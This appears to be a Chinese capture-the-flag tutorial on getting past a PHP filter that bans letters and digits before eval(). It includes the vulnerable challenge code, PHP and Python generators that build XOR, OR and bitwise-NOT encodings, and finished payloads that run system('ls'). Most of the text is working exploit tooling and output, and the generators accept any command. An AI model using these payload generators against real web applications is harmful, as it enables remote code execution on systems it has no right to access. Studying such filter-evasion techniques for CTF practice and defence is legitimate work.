无字母数字绕过正则表达式
目录
1、题目代码
1.异或
php部分:
python代码:
2.或
php代码
python代码
测试结果:
3、取反
php脚本:
测试结果:
1、题目代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
if(preg_match('/[a-z0-9]/i',$code)){die('hacker');
}
eval($code);
我们下面以命令system('ls')为例:
1.异或
php部分:
<?php$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)^urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
php运行后生成一个txt文档,包含所有可见字符的异或构造结果。
python代码:
import requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("xor_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"^\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)
运行python脚本后,得到:
[+] your function:system
[+] your command:ls
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08"^"%60%7b");
将得到的结果复制过去即可,最终效果如下图所示:
2.或
原理是相同的,只需要把上面的脚本上稍加改动即可
php代码
<?php
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9a-z]/i';//根据题目给的正则表达式修改即可if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);
运行后得到:
python代码
import requests
import urllib
from sys import *
import os
def action(arg):s1=""s2=""for i in arg:f=open("or_rce.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"print(param)
执行:
[+] your function:system
[+] your command:ls
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");
测试结果:
3、取反
因为取反的话,基本上用的都是一个不可见字符,所有不会触发到正则表达式,我们一个php脚本就可以了
php脚本:
<?php
//在命令行中运行fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
运行结果:
[+]your function: system
[+]your command: ls
[*] (~%8C%86%8C%8B%9A%92)(~%93%8C);
测试结果:
欧克,结束!!